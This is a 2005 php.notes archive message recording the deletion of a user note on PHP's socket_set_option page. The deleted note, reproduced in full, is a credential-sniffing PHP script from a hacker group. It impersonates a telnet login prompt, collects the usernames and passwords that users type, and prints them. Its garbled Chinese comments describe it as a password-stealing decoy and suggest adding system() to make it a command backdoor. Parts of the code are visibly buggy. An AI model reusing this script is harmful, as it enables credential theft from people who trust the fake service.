note 49291 deleted from function.socket-set-option by cece

From: Date: Sun, 23 Jan 2005 11:21:29 +0000
Subject: note 49291 deleted from function.socket-set-option by cece
References: 1  Groups: php.notes 
Request: Send a blank email to php-notes+get-83811@lists.php.net to get a copy of this message
Note Submitter: darkne2s at gmail dot com Reason: bad code ---- #!/usr/bin/php -q #c0dz by Darkness[BST] #Team:www.bugkidz.org #E-mail:cqxy[at]21cn.net <?php if ($argc != 3 || in_array($argc[1] , array('--help','-h','?'))) { echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21\r\n"; echo "c0dz By Darkness[BST]"; exit; } error_reporting(E_ALL); set_time_limit(0); ob_implicit_flush(); $host = $argv[1]; $port = $argv[2]; if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) { echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n"; } /*½¨Á¢SOCKET*/ socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*ÉèÖÃSOCKETÁ¬½ÓµÄÊôÐÔΪSO_REUSEADDR,ÕâÑù²Å¿ÉÒԶ˿ڸ´ÓÃ*/ if (($ret = socket_bind($sock, $host, $port)) < 0) { echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n"; }/*°ó¶¨¶Ë¿Ú*/ if (($ret = socket_listen($sock, 5)) < 0) { echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n"; } /*¿ªÊ¼¼àÌý*/ while(true) { if (($sniffer = socket_accept($sock)) < 0) { echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "\n"; break; } if ($port == 21) { $txt = "Welcome to the Telnet Server\r\n"; $txt .="User:\r\n"; socket_write($sniffer, $txt, strlen($txt)); } /*ÕâÀïÊÇαװÐÅÏ¢£¬°Ñ×Ô¼ºÎ±×°³ÉÔ­À´µÄTELNET·þÎñÆ÷£¬ÕâÑùÀ´Æ­È¡ÃÜÂë*/ while(true) { if(($flag =@socket_recv($sniffer,$buf, 2048, 0)) < 0) { break; } if (!$buf = trim($buf)) { continue; } if ($buf != '') { $password = "Please Input The Password"; socket_write($sniffer, $password, strlen($password)); } if ($buf == '!shutdown') { socket_close($sniffer); break 2; /*ÆäʵÕâÀï¿ÉÒÔµ÷ÓÃsystem()£¬¸ã³ÉÒ»¸öCMDºóÃÅ£¬·´ÕýÄãÏëÔõô¸Ä¶¼¿ÉÒÔ*/ } $sniff_data = "$buf\r\n"; /* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/ echo $sniff_data; /*Êä³ö×Ö·û´®*/ } socket_close($sniffer); } socket_close($sock); ?>

« previous php.notes (#83811) next »